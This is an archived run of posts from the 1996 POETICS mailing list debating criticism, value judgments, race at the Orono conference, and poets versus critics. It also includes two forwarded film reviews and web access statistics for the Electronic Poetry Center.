I think we're all roaring with hunger for those very packages, & that's why packaged truth, & poetry, & anthologies, are so winning... What I meant by the "status of meaning & belief" was the idea that the forces shaping a historical era also pressure various groups' energy level & sense of breakthrough - so that Pound's "epic quest" fulfills demands and expectations in a truth-oddyssey at a level or in a way that has dissipated or grown more obscure or latent at a later period (waiting for the next explosion). Later on we invent our genealogies & ascribe organized styles or differentiations.

- Henry Gould

"Classicism is revolution" - O. Mandelstam

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258. **Rod Smith**
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

P.S.-- yes, I know it wasn't that simple for Olson.

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259. **Jordan Davis**
sports and wine
Wed 10 Jul 1996

Why value judgments about poetry are different from consumer judgments about wine, food, cars, etc. Not as easy a question as it seems. How to live. The development of a poetics runs parallel to the life one lives, right? It's like a second allegedly intelligent childhood, you learn things, it's like choosing (Wallace Stevens thought it _was_ choosing.. so he went into business), but with this difference--you meet it. That is, the car one drives, one's consumer profile, is at a remove from this. Which is something like a soul, or a mind. This and that. Sports and wine.

Once more, from the top. A poetics can only be individuated from any other poetics if it can manage to persist in its idiosyncratic diplomacies. These may consist of: willful good nature, perverse sarcasm, topiary artifice, technical foul, cranberry juice, ectopia broadband arsenio fallout, rodeo maser, let's go, pinball. I like pinball, because of its simultaneously centrality and diffuse irrelevance--its harmonization of chance and teleology--I guess they used to call it peripeteia.

Also I like a cuvee from Cain vineyards in california, and I have a Jordan chardonnay in my fridge.

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260. Judy Roitman
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

>HG wrote:
>>but poetry operates, hopefully, by digging toward the permanent
>>functions of language, which persist THROUGH the "zeitgeist".
Rod Smith writes of "an eastern or Wittgensteinian approach" to language and semantics.

Could you unpack that a little?

Related to this discussion is a new book, "The Spell of the Sensuous," by David Abram. It's touted as a book on ecology from a phenomenological perspective, but (but?) much of it is rooted in issues of language and also in David's experience as a master sleight-of-hand magician hanging out with shamans in traditional cultures. It's Poundian in more ways than one: the alphabet is seen as distorting perception. Fun to read and I've been looking for an excuse to tell you all about it.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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261. Jordan Davis
past tense mope dream
Wed 10 Jul 1996

Oops! simultaneous.

Also, ain't no prize for persisting in your idiosyncratic diplomacy, either, unless you're a painter and can sell x hundred near-identical instances of said diplomacy, which is actually paint, and not language, and not the same. Except that x thousand years later, people will say, oh yeah, that kind of poetry. Got to be redundant to make it in poetry.

J

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262. **Rod Smith**
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

Well, an eastern or Wittgensteinian approach wld be a contextual approach-- an understanding of context as multiply & complexly constitutive. The emphasis being not only on what we can "compute" but also upon acknowledgement that any given context is more complexly constituted than one can apprehend--which is why intuition is such a powerful & real aspect of our experience & also why it is so individualized.

Seems to me both Wittgenstein & aspects of buddhist & taoist thought share a concern with pointing out limits of apprehension & *using them.* One cld also talk about Duchamp in these terms.

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263. **Jordan Davis**
mis/guide
Wed 10 Jul 1996

---

to the extent that we participate in the terms of someone else's debate--the sumerians, the greeks, the cherokees, the democrats--we're what, learning? except that information, poetic information, is located at once in the capitol and the kitchen, we've been lured into 'the zone' and we've been talking, we need these common terms, and that's it, that's all, inscribe it and if you can 'say it without saying it', all the better, all the best, save a lull, pause, take a breath. No stride like the strident, eschew the received phrase, find file, hey. only music is information? J

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264. **Pritchett,Pat**
(no subject)
Wed 10 Jul 1996

Dean raises a good point. I think the way we must finally come to understand "how to read a poem" to an audience is that, for most poets (and most poems), a reading only constitutes 50% (or so, it varies, naturally) of the poem's quiddity (gotta love that word!). For Shaunanne, it would seem to constitute a greater percentage. Any reading is, of course, an interpretation, i.e. it presents a particular profile of the poem at a particular moment. If you go to the same play on two different nights, that play will vary in minute particulars per performance. But it's still the same text. Which implies that the poem itself, silent on the page, occupies some kind of Platonic/Ur-dimension from which it "descends"

when invoked/pronounced by the speaker. A dubious notion, perhaps, but intriguing.

As for how to get across ambiguous line breaks: maybe read the same line more than once, each time differently to stress its multiple weights/meanings/emphases...

Patrick Pritchett

From: Dean Taciuch
To: Multiple recipients of list POETICS
Date: Tuesday, July 09, 1996 11:39PM

<<File Attachment: HEADERS.TXT>>

On Tue, 9 Jul 1996, Kathrine Varnes wrote:

> As far as I'm concerned, a good performance is a good interpretation, or
> at least an interesting one. (The reverse is also true.)
. . .
> what kills poetry for me (which is often what happens when
> actors are reading) is when the reader has already decided what the
> perfect reading is and tries to create it -- some static idea -- instead
> of actively interpreting while reading. Better to be imperfect and lean
> on the words.
>
> Kathrine Varnes
>

OK, but how to offer an interpretation without having an interpretation in mind? This is a serious question..I wonder this myself when reading--do I try to express an ambiguous line break verbally (and how?) or do I collapse the distinction, choose a reading, and present that?

I think the key is "static"--the performance should not be a single thing, or at least not the same single thing to everyone.

Also, I don't mean to knock actors/acting. It certainly is possible for an actor to give a good reading of a poem, just as it is obviously possible for a poet to give a bad reading.

Dean Taciuch

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265. Burt Kimmelman
peter quartermain
Wed 10 Jul 1996

Peter Quartermain,
I've been trying to email you and have had my mail spit back to me.
could you let me know where you are and how to reach you?

thanks,
burt kimmelman
[redacted]

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266. Gabrielle Welford
two film reviews (fwd)
Wed 10 Jul 1996

After the mention of interracial sex, I couldn't resist this forward. gab.

---------- Forwarded message ----------
Date: Wed, 10 Jul 1996 08:15:34 -1000
From: Julian Samuel <[redacted]>

Two Film Reviews

by

Julian Samuel

Bhaji on the Beach,
A film by Gurinder Chadha, 1994, 100 minutes

reviewed by Julian Samuel

Bhaji on the Beach is an energetic, race-and-sex-relations comedy that is a must see for anyone who thinks that putting these issues-of-the epoch in the mass media is a nice way to deal with the traumas plaguing South Asian women.

Community orientated films are a superb way to dramatize, confront, and to come to terms with interracial sex and pregnancies, and other configurations that are a source of endless trouble for South Asian parents who just can't forget India, Pakistan, Kenya, Uganda etc.

Bhaji follows hot on the heels of but does not go beyond other "Black" British masterpieces such as Hanif Kureshi's My Beautiful Laundrette, The Bhudda of Suburbia; and Isaac Julien's gay landmark, Young Soul Rebels.

Bhaji's plot does not strain the imagination. Here's a part of it: a Southall Black Sisters type South Asian community leader takes an all-ages-all-classes group of

South Asian women to Blackpool. In the old days, before we all got to England and improved the English diet it was a white holidaying spot. But UK immigration changed all that.

The insertion of these splendiferously dressed women on the beach include a battered wife who during the trip makes up her mind to leave her husband forever; a teenage couple who, one gets the impression, are sexually involved; a shilvar kamees clad granny who is mechanical scripted in to contrast old-world values with "English" ones. Chastity, obedience to Gods, and a reverent respect for the family bread-winner are up for gentle feminist review. The granny stereotype has to act shocked most of the time. Boring. The biggest shock for her is the pregnancy of one of the young Asian women by her black boyfriend. This dilemma is elegantly solved, as the rest of the group drive back to town, with a tender lingering kiss during a interracial sun-set. Thank god this scene will bother some Asians.

At Blackpool, sexually explorative members of the outing meet English cowboys who work at a hot-dog stand. One of the women gets into a bit of interracial necking, but before anything exciting happens her protective about-to-de-cloak lesbian friend pulls her back into the virginal harem of the Asian community.

The acting is earnest cardboard stereotyping au maximum. No one evolves, everyone stays in the same charactival rut, and the story is as tense as watching Rajiv Gandhi have tea and biscuits at a press conference on the Tibet question. However, it is stereotyping with a huge difference: its brown stereotyping.

Bhaji is more than mundane; check this for excellence: "I just needed you to be there" says the pregnant woman. And there are hundreds of lines like this. But even at that, Bhaji is saved by being more or less a first of its kind, and it does not grind on inexorably. It is ultra light race-sensitive entertainment, for the lily-livered.

Notwithstanding the simplistic editing -- there is not one unpredictable cut -- this film is brilliant even if the South Asian in-jokes will pass over the heads of both white Canadian tribes. British audiences, however, are hip to all this post-colonial modernity, so they will get most of the culturally anchored funnies.

Bhaji is better than most films made in Canada in the last five years. Quebec films don't even come close, and of course, Quebec lives in mortal fear of black actors, artists, intellectuals and directors and therefore does not encourage them. Director Gurinder Chadha is lucky to have generous film funders who take her so very seriously.

Imagine the National Film Board or the Canadian Broadcasting Corporation putting bucks into such a film without getting utterly terrorized by the

racegender questions. Forget it. Canada will not catch-up, not even by the time Hong Kong slips into Beijing control.

A warning: there are hectares of songs and dances: You can take the Asian out of Asia but you can't take the Bollywood out of the Asian. end Julian Samuel

Bandit Queen directed by Shekhar Kapur

reviewed by Julian Samuel

Bandit Queen is based on the true life story of a peasant woman who established an earth-shattering reputation throughout India for having fought against her oppressors.

Her story is tragic: a forced marriage to someone centuries older than her -- she was about 10 at the time. After a few rapes she escapes her "husband" and, a few years later joins a band of country-side highway men who engage in various nasty activities. She is caught by rival forces and is raped by scores of men. She escapes and the same thing happens: she is caught again, raped, and again takes revenge. Finally, she politicizes the entire Indian country-side and attempts to besiege Delhi capital of the "largest democracy in the world." Well no not exactly: the filmmaker has made an exaggerated and simplistic account of her life.

The real Bandit Queen (Poolan Devi) in fact wanted to stop the distribution of this film because she thought that it did injustice to cause. She is right: The film should have been pulled out of distribution not because it did an injustice but because it is repetitive to the point of making the viewer suicidal and as inelegant as Benazir Bhutto attempting to defuse the civil war now raging in Karachi.

Her narrative is important for those who want to learn about political struggles with the bazaar rituals of Mother India. However, this film is maligantly marred by gun shots in every scene and screechy rape scene after rape scene. You'll only be able to sit through it if you're a masochist or if you've taken sleeping pills with your cholesterol loaded popcorn.

Julian Samuel

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267. **Robert A Harrison**
onward: +
Wed 10 Jul 1996

Thanks for the apology and the acknowledgment, Marjorie.

Glad to see there're a bunch of other threads going on now. Not to hold those up, wanted to send the list a quote and a coupla references. Here's a quote from one of Lorenzo Thomas' recent talks ("... first presented as part of "Revolutionary Poetry: Directions for Further Investigation," the concluding panel of the Poetry Project's 1994 Symposium,....")

from *Nothing Slow and Careful About It*

"In the past couple of days I think we've heard some very interesting and nice rhetoric: the principle of "continual revolution"; a return to the '60s via a "counterculture." Lots of individualistic and ethnocentric expressions. The Yenan forum revisited. And so on and so forth. What bothers me is that much of what we heard was flawed by unsystematic thinking and I think that might have something to do with the fact that we're poets. Y'know, "We cool like that we write like that we think like that." Anyway, I was suffering from all the cybernetic stuff that I was hearing and I finally came down with something like Dada overload....."

hmm

published in

The World #51
The Poetry Project
St. Mark's in-the-Bowery
131 East 10th St
NYC, NY 10003

Some of Lorenzo's early work is in "None of the Above," Michael Lally's anthology, 1976.

There is also a "comprehensive collection" called "The Bathers." Published in 1981 by

I. Reed Books
isbn #0-918408-18-0

ok. ONWARD!! As the the subject says!

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268. Burt Kimmelman
Re: Onward: Contemporary Poetry & Poetics
Wed 10 Jul 1996

Hey Judy Roitman and anyone else interested in poetry/lang phil/ecology: Abram's book sounds like territory covered by my colleague David Rothenberg's new journal Terra Nova; maybe someone would want to review "The Smell of the Sensuous" for it. David can be reached at [redacted].

burt

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269. **maria damon**
Re: Value Judgments and Sociology (was Re: List wars)
Wed 10 Jul 1996

---

andrew miller wwrites a longish post on sociology that you've all seen;

andrew: i agree with you that the category "sociology" is a scientistic, academic discipline and an ugly rubric under which to classify something as broad as, say, "attention to social, biographical, historical context." i think it's crucial not to, to use the language of one of the New Zealanders (tony green? wystan?i've deleted the actual post, so can't quote specifically, sorry) said, "subsume" "poetics" into/under "sociology" or vice versa --this is why a project that would treat text and its surrounding environment as one continuous --"ecological" system as it were --is dear to my heart. in order to talk to people in my world, that is, the academy, i use the terms "poetics" and "cultural studies", which shouldn't, but are, segregated and seen as mutually inhospitable terrains of inquiry. i was thrilled to see, in the papers at Orono, the degree to which this kind of treatment is becoming acceptable and even respected, though there is still, in most cases, a leaning toward one or the other poles of the false binary.

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270. **maria damon**
Re: Value Judgments and Sociology (was Re: List wars)
Wed 10 Jul 1996

---

ps to my post to andrew miller --and david kellogg, indirectly -- on "sociology": i also like it when a "critical" text aspires to or achieves the poetic. that's why i come back again and again to walter benjamin; not just cuz he's one of the current gods of cult studs, but because he language and insights are so inspired, so...well, poetic. no one could call his essay on some motifs in Baudelaire "mere" sociology, though it has a strong component of social concern and sociological observation. to me this is a kind of "texte ideal." (it teaches great with o'hara's lunch poems, btw). susan stewart, who is "also" a poet, is another writer/"critic" whose essays embody a lovely poesis of their own. others, y'all? rachel bdp's talk at orono was in that realm. bests, maria d

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271. Mark Wallace
e-mail politics
Wed 10 Jul 1996

Of course, since this poetics list involves more than one person, it will be by definition "political"--that is, not only will different people be on it for different reasons, but it's also quite possible that those reasons will conflict, and that everybody here will not get along. Many of us have different senses of what this poetics e-mail "virtual community" should be--and indeed the word "community" is wholly inadequate for the complexity of the environment itself. Perhaps "network" would be better--although that implies something perhaps less intimate than e-mail often is (and, among many other characteristics, I think poetics e-mail does have an odd intimacy). Still, we don't all "get along" here, and there are instances when we shouldn't get along.

It's interesting, for instance, that it might be easy to assume on this list that people who primarily write poetry and people who primarily write poetry criticism would get along--after all, it's theoretically simple, at this point, to undermine any notion of the distinction as absolute, i.e. each poem has a critical element, and (perhaps, but I'm not convinced) each piece of criticism has some poetic element. So one might think that the historical relation between poets and critics, often antagonistic, would not be antagonistic here. But is that really the case. While I agree with the person (help with names here please, I'm getting so many messages) who said he's bored by "tastemakers," or by people who dislike all poetry criticism by definitio, on the other hand it's true that the cultural and institutional situations of poetry and poetry criticism are NOT THE SAME, and in fact those differences can and do lead to conflict. So what? Some level of conflict is good for discussion--I applaud your (whoever) right to disagree with me. On the other hand, if I think your wrong I'm going to say so.

All that fairness aside, though, I find myself inevitably siding with poetry and poets, even as I know that poetry criticism is unavoidable (and I right enough of it myself, even). So I sympathize with Dodie Bellamy's recent frustration about this list. Here's what I'm wondering--is this list equally divided between poets and poetry critics? Does one group do more posting than another, and what does that say about the POLITICAL dynamic of this list? I have some sympathy for Ron Silliman's post too, although I have sympathy also for the ENGAGED lurkers who spoke up in their own defense--I think what Ron was getting at was something that a lot of poets feel, that is, that a lot of people get to stand around pointing out our faults while never putting themselves through the ringer of creating a poem.

So, here's my riddle. I'll bet if you said "poetry and poetry criticism" have a fundamentally generative and symbiotic relation, a larger proportion of those

people who write criticism mainly would agree, whereas a lesser number of people who mainly write poetry would agree. In fact I bet it would make some poets actively annoyed. I'd love responses to this riddle: is what I'm saying true, or not? If it is true, why?

I once referred to Anthony Easthope's POETRY AND DISCOURSE as "Poetry as primitive culture" because it seemed to view poetry and poets as an odd aberration that needed to be further studied by the sensible.

A truly active criticism engages its own fear of writing.

mark wallace

(please excuse--or celebrate!--any typos. I'm working on an old-fashioned moden today)

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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272. Judy Roitman
First Intensity
Wed 10 Jul 1996

Lee Chapman asked me to inform this list that the new address of First Intensity is PO Box 665, Lawrence, KS 66044.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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273. David Kellogg
Re: List Wars
Wed 10 Jul 1996

Marjorie,

Much of what you have said is all fine, and wonderful, but it DOES NOT ADDRESS what I said. For example, I *never* said that one can't separate the wheat from the chaff, but only that the *a priori* assumption that that's what

critics must do is a little silly. To take a point you've made many times, it's like limiting poetry to the free-verse lyric.

Of course we all evaluate every time we make a choice (and, I would add, every time we decide not to choose). I never said otherwise -- I would argue that you're confusing a relativist stance with a subjective one. The idea that a relativist stance on value precludes choice is a red herring.

I've very happy that you're reading A MAN WITHOUT QUALITIES; bully for you.

But that experience doesn't answer at all the question of what to read, much less what to teach. I imagine that your experience in teaching is much like mine: my estimate of "the value" of work for me enters into a rough equation that includes such things as the possible value of the work for students, what I've taught recently, the points I'm trying to make in the course, my mood, what I ate, and a couple hundred other factors. What is "the value" of the work in such a context? How can I dare fix it? It changes for me all the time. One way it changes is by reading this list, and that's a "good" thing -- i.e., something I value.

Marjorie, I have no doubt you would object to someone who defined "the role of the poet" up front; such roles usually, though not always, exclude many of the folks you and I find most interesting. Yet you write that "If criticism doesn't at least in part do that [separate the wheat from the chaff], what are we writing for?" Imagine substituting "poetry for "criticism" and some feature of much, but not all poetry for *separating wheat from chaff*, and you'll see the nature of my objection. It's not to evaluation -- it's to the installation of evaluation as the *telos* of prose about poetry.

Cheers,
David

First addendum: I'd like to apologize for my loose use of the term "sociological," for which Andrew Miller has rightly criticized me. The fact that I was mainly *extending* the already loose use of the term as it was thrown around on the list doesn't let me off the hook.

Second addendum, for Wystan: neither poetry nor the social subsumes the other; but neither does either escape the other.

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274. David Kellogg
Re: List Wars
Wed 10 Jul 1996

As an addition to the debate, this from Ron Silliman's introduction to *In the American Tree* (which I've been rereading having bought a new copy at Orono after my first copy fell apart -- why is this book so poorly bound?):

"It is now plain that any debate over who is, or is not, a better writer, or what is, or is not, a more legitimate writing is, for the most part, a surrogate social struggle. The more pertinent questions are what is the community being addressed in the writing, how does the writing participate in the constitution of this audience, and so on." (xxi)

Since this thread really started with the question of race and community at Orono and in the papers there, I thought this little passage might get us back to more important matters.

Cheers,
David

~~~
~~~

276. Aldon L. Nielsen

Re: why is "bad" poet a silly category, but not "great" poet? (fwd)

Wed 10 Jul 1996

---------- Forwarded message ----------
Date: Wed, 10 Jul 1996 15:21:12 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: robert von hallberg <[redacted]>
Subject: Re: why is "bad" poet a silly category, but not "great" poet?

Given my understanding of your procedure now, I will post this to the Poetics list immediately after I post it to you.

I can appreciate your desire to have your views represented accurately in public. However, I am startled by the divergence between even the statements that you have posted in public. You now speak of "one" factual discrepancy, and you select the one that is not on the tape. Go back and read your first message to me. You do in fact claim more than one misrepresentation.

In my last post about this I pointed to one of these. As you did in your first message, you now make a distinction between worthwhile sociological pproaches and "simplistic" approaches. That distinction is difficult to locate in your original remarks. You said, and I will send the tape as soon as I have duplicated it: "When we do the sociology thing it comes out real simple."

Another example -- In your first message to me you state: "The example I gave in Orono, you will recall, was not your own remark about the number of papers on minority poets, but instead the listing by the first presenter . . ." In fact, as you will hear on the tape, the very first thing that you mention is the set of numbers I gave in my opening remarks.

Please compare your first message carefully to your second, and then compare both to the tape when it arrives. Meanwhile, I will ask the Poetics list members to note that while you raise a number of supposed misrepresentations in your first message, you now say that you only raise one factual question. Your own messages indicate that this is not the case.

Now, because the other remarks are not on the tape, I am willing to admit the possibility of some misunderstanding. It may be that you did not mean to include Kaufman in the remarks that you made at the podium, and if that is so I am sorry to have misunderstood you. On the other hand, since on that day you not only did not indicate any poem by Hughes that you thought was good (I'm trying to follow through on your distinction between a bad poet and a good, great, whatever poet who has authored some, or many ,bad poems), I am not so sure I didn't hear you correctly. You can clear this up for me now by letting me know which of these things you did mean to convey to the four of us you were

speaking to at that moment. Do you believe that Hughes is simply the author of some bad poems (the poems that were read & discussed in the papers I suppose), and if so, what are the not so bad Hughes poems in your opinion?

Now, I do not have time to go into each and every matter you raise beyond the remarks themseleves, though perhaps we can at a future meeting or in future email exchanges when I'm not in the process of moving -- But please keep in mind that one of my clearest objections to your remarks was the divergence between what you said and what the presenters had in fact presented. I began with your use of my numbers, because I felt that I could speak with assurance about your response to my own words. Your first message attempts to deny that you used this number as an example, but goes on to make certain remarks about the percentage of papers on minority poets. Here is what you said at the panel: "a bunch of white people gather to have a conference and they want to talk mainly about white people. What's the problem, if what we're doing here is talking about literature as sociological reproduction and as identity formation?"

Some quick observations --

Talking about sociological reproduction and talking about identity formation are not exactly the same thing --

I realize there is a danger in responding to any question as rhetorical as your is, but I think there would be a problem even if what we were doing was sociological reproduction and identity formation -- unless what you mean really is that this would be a great way to find out how white people keep themselves white? but I don't think that's what you had in mind -- Please explain to me why this would not be a problem --

Elsewhere on the tape you say "When it's sociological it's real simple." Now, as I think about your remarks as a whole, I find it difficult to square them with what you've been saying, much more agreeably, in your messages. Your conference remarks sya that when it's sociological it's simple, and that when we do the sociology thing it comes out real simple. And you ask why it's a problem, if we're doing sociological reproduction, if a bunch of white peoplem at a conference choose to talk about mostly white poets.

Now, this string of statements would seem to indicate that a) doing sociological literary work comes out simple -- b) there's no problem, really, if white people doing sociology at a literature conference want to talk about mostly white people

That would seem to indicate that the result will be a bunch of white people doing sociology and being simplistic mostly about white poets --

I don't know about you, but that does not sound like an appealing prospect to me --

Lastly, because I have to meet an estimator from Bekins, let me address quickly your remarks on Pound --

I would certainly agree that, as you put it at Orono, Pound's other is not my other (though you were looking at Joe as you said this). I would also agree that attention, close attention, has to be paid to Pound's constructions of Italian-America -- BUT, this evades a few important points.

a) Pound makes ref. to black people early, middle and late - b) your remark, again, elides one of the points in the paper you are dismissing -- While I would not agree that Pound's self-exile is a matter of "white flight," the fact that his "other" was at times Italian is not an objection to that claim. As Joe pointed out in his paper, many powerful Americans, including any number of those making immigration policy and testing "intelligence," did not think of Italians as white people at the time in question. Joe is not saying that Italians and African-Americans are the same -- he is, though, saying that Italian immigrants were often part of that which whight flight flew from. To my mind, this is another instance of your having mashed the papers you didn't like into a shape that fit the remarks you wanted to make.

There is much more of this nature, but in sum

--your second message misrepresents the contents of your first message; You did claim more than one factual misrepresentation, and you seem now to have dropped those which are on the tape in favor of the one that is not

--I will here beofre the entire Poetics list admit that I cannot now be sure that you meant to convey to me that Kaufman was a bad poet -- I will even go so far as to add that you may indeed have meant only to tell me that Hughes was the author, so far as you knew, of only bad poems, not that he is a bad poet. Again, if I'm wrong here set me straight at once

--Please tell me why it would not be a problem, if we're doing sociological reproduction, for white people to want to talk mainly about white people -- You appear to have gone beyond a mere statistical note here and addressed a matter of desire -- also, "mostly" could have been 51% as easily as the 94% you invoke -- this seems to admit of degrees, no?

and I suppose I should give at least one example of what I might consdier a more direct critical engagement with Joe's paper -- Joe built many of his comments around the absence of Hughes and Brooks from the Donald Allen anthology -- I believe Hughes would fall outside the scope of Allen's collection on the basis of the chronology he was working with, and I believe that Brooks's aesthetics would make her a more likely candidate for the Hall anthology than for Allen's -- In my own closing remark I was gently suggesting that this line of inquiry might more profitably look at the absence of poets who shared the

aesthetics that seemed to link the varied groups in Allen's volume -- and Hughes, as it happens, did just that,

"ask your mama." pp 472-531
don't neglect the "liner notes"

here's some identity formation for you

"WHERE IS LOTTE LENYA
AND WHO IS MACK THE KNIFE
AND WAS PORGY EVER MARRIED
BEFORE TAKING BESS TO WIFE
AND WHY WOULD MAI (NOT MAY)
BECOME JEWISH
THE HARD
WAY?

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277. Kevin Killian
Re: the guy and the gulf war
Wed 10 Jul 1996

At 1:28 AM 7/11/96, Joseph Zitt wrote:
>On 10 Jul 96 at 9:22, Joe Amato wrote:
>
>> for one, i think what's necessary, and this pace dodie's hammering on the
>> white middleclass, is to pull apart some of these categories we rely on...
>
>The way I hear it (from lotsa nonrigorous eavesdropping), the
>middleclass tend to be those whose incomes are in a range from
>slightly below the speaker's to slightly above. It's kind of the way
>that people think that "the Rich" who should be heavily taxed are
>those who earn more than a little more than they do.
>
>I've bounced ridiculously among economic brackets in recent years,
>but have always felt middle class. But friends of mine who live in
>hovels with intermittent electricity, as well as those who live in
>mansions with lotsa household help think of themselves as
>middleclass, too.

This is Dodie Bellamy speaking.

I think that you two Joes are equating class with money, which is, I think, a rather narrow definition. I was raised in a background where not being on welfare was social climbing. My father, who quit school in the 7th grade, got into

the carpenter's union and was very proud of never being on welfare--unlike his sibblings. He made more money probably than either of you two, but our family never approached being middle class--the middle class was this alien world whose members we called Mr. and Mrs., but we were called by our first names.

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278. maria damon
sociopoetic poetry/lyrical critique
Wed 10 Jul 1996

---

sorry if this is redundant, but my computer's doing annoying things that make it hard for me to know if this was actually bounced back to me or got sent:

ps to my post to andrew miller --and david kellogg, indirectly -- on "sociology": i also like it when a "critical" text aspires to or achieves the poetic. that's why i come back again and again to walter benjamin; not just cuz he's one of the current gods of cult studs, but because he language and insights are so inspired, so...well, poetic. no one could call his essay on some motifs in Baudelaire "mere" sociology, though it has a strong component of social concern and sociological observation. to me this is a kind of "texte ideal." (it teaches great with o'hara's lunch poems, btw). susan stewart, who is "also" a poet, is another writer/"critic" whose essays embody a lovely poesis of their own. others, y'all? rachel bdp's talk at orono was in that realm. bests, maria d

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279. Aldon L. Nielsen
been there done that (fwd)
Wed 10 Jul 1996

---------- Forwarded message ----------
Date: Wed, 10 Jul 1996 15:54:00 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: robert von hallberg <[redacted]>
Subject: been there done that

Turned out that was not the Bekins person yet -- so here's one more quick note --

You say, with regard to the numbers that I cited, that it is not surprising to learn that only 6% of the papers were on race or minority writers -- Again, please look back at my report & listen to the tape -- I did not include papers "about race" in the tabulation, for one thing. (The percentage swells appreciably if we add in all those good O'Hara presentations.) More significantly, you have once again elided the point I made with those numbers, as you did at the

conference. My point was that if certain conservative critics are to be believed, this number should surprise us very much indeed -- My point, therefore, was that thse critics are not to be believed --

Secondly -- you remark that the demonstration of the influence of racism in the construction of literary canons has been done cogently --

Quickly now, name five books for me on the subject of racism and canon formation in the area of poetry --

More importantly (I suppose one could argue that the few articles, comments, conference papers etc. that exist were so cogent that we don't need whole books on the subject [at least in poetry studies]), to tell me that the demonstration has been done cogently is not to tell me that it need not be done again. In fact, had the job been done so cogently, perhaps we should have been very surprised to find a percentage as low as 6% in 1996.

And further in this regard, the "sifting" you call for is going on -- The fact that you do not agree with the critics you responded to about the poems they discussed hardly suffices as proof that we are neglecting the important work of calling attention to those really important poems out there -- I'm not at all sure that "sifting" is my primary task as a critic or an historian, but I will admit that I do my share of it --

to be as blunt as I can, and still be remotely logical, the fact that you say the poems discussed in the first two papers were "bad," and you appear to agree that you at least said that much, and the fact that you said the first presenter didn't do anything very interesting with the poems (you will recall this is when I broke in and said that you were being insulting) is not a demonstration of either point. There clearly was not time at the session for anybody to even attempt to convince you otherwise, but you didn't seem even to feel that any demonstration was required on your side.

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280. maria damon
Re: e-mail politics
Wed 10 Jul 1996

mark wallace writes at some length abt poets/poetry critics you've all read it and i cant excerpt meaningfully:

mark: interesting points. i know that poets often feel colonized by those of us who write "about" poetry and i can understand why. that's one reason why the "arbiter of taste" role is so not to my liking; on the other hand, one could argue that for me to disavow this role is disingenuous: i.e. like it or not, that's what i do. one thing that's been marvelous about this list has been the opportunity to

meet, cyberly and personally, people who are practicing poets. i have felt, with the exception of the last coupla days, extraordinarily welcome, to the degree that i naively started to think that this world was less ugly and contentious than the academy. what i have found on the list happily confounded the cliches one hears on both sides. the poets here are extremely critically and theoretically up to date and sophisticated, overturning the dumb academic assumption that "creative" folks are blindly instinctual, "feeling rather than thinking" etc. --the "poetry as primitive culture" model (nice phrase). conversely, some critics are close-minded and scared, hostile to any developments that threaten an earlier model of teaching/writing/thinking that they learned. many of the critics here are also very supportive of poets, contrary to their image as destroyers of spontaneity, joy and inventiveness. both parties can play the aggrieved and underappreciated, both parties can claim importance. many people on the list are both poets and critics, and publishers, and editors, and visual artists, etc. that's been manna from heaven, for someone who daily faces a workplace that separates not only "crative writing" from "language and literature", but "practical criticism" from "theory," and has not taken my work seriously (because it was on Bob Kaufman rather than Chaucer, Milton or Shakespeare --boy do i feel vindicated with the Beat Show and Cranial Guitar, despite my difficulties with the latter).

as for myself, i had no idea that this list was intended primarily for one or the other group of writers --in fact, just a few days ago there was some flurry because a prominent critic, bob von hallberg, was *not* on the list. i was signed on to the list (with my permission of course) by charles bernstein whom i met at a conference --predictably enough, he was a featured "creative" writer, I was a "critic." and i've never felt unwelcome because of my status as "primarily a critic" (though thanks to this list and some of its offshoots, i've ventured into the waters of more unabashedly "creative" collaborative enterprises) until recently. however, i don't think you're suggesting, mark, that critics get off the list. md

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281. **Joseph Zitt**

Re: the guy and the gulf war

Wed 10 Jul 1996

On 10 Jul 96 at 9:22, Joe Amato wrote:

> *for one, i think what's necessary, and this pace dodie's hammering on the white middleclass, is to pull apart some of these categories we rely on...*

The way I hear it (from lotsa nonrigorous eavesdropping), the middleclass tend to be those whose incomes are in a range from slightly below the speaker's to

slightly above. It's kind of the way that people think that "the Rich" who should be heavily taxed are those who earn more than a little more than they do.

I've bounced ridiculously among economic brackets in recent years, but have always felt middle class. But friends of mine who live in hovels with intermittent electricity, as well as those who live in mansions with lotsa household help think of themselves as middleclass, too.

But this probably isn't news to anyone.
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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282. Loss Glazier
EPC - Connecting
Wed 10 Jul 1996

Some interesting stats just out re: EPC. Here's some contextualization:

> Avg. transactions per day 1,347
>
> or another way to look at it
>
> 2550 times the EPC's main home page ALONE was accessed in 9 days
>
> (See end of message for most 'popular' menus hit)
>
> Busiest time to access the EPC 7 pm EST
>
> 2nd busiest 1pm - 4pm EST (each hour tied for second busiest)

Connections by country. Here is a ranked list of countries accessing the EPC:

```
 3714: 28.72%: .edu (USA Educational)
 2346: 17.94%: [unresolved numerical addresses]
 2290: 20.93%: .com (Commercial, mainly USA)
 2251: 15.24%: .net (Network)
  258:  1.73%: .uk (United Kingdom)
  226:  1.91%: .ca (Canada)
  225:  1.72%: .org (Non-Profit Making Organisations)
  186:  1.62%: .us (United States)
  144:  1.23%: .au (Australia)
  100:  0.82%: .jp (Japan)
   71:  0.48%: .it (Italy)
   70:  1.01%: .de (Germany)
```

```
 70:  0.35%: .no (Norway)
 67:  1.49%: .nz (New Zealand)
 65:  0.64%: .fr (France)
 49:  0.29%: .gov (USA Government)
 44:  0.34%: .nl (Netherlands)
 42:  0.30%: .dk (Denmark)
 41:  0.47%: .fi (Finland)
 39:  0.41%: .se (Sweden)
 32:  0.28%: .ch (Switzerland)
 31:  0.13%: .es (Spain)
 27:  0.14%: .il (Israel)
 26:  0.31%: .mil (USA Military)
 23:  0.14%: .my (Malaysia)
 21:  0.09%: .si (Slovenia)
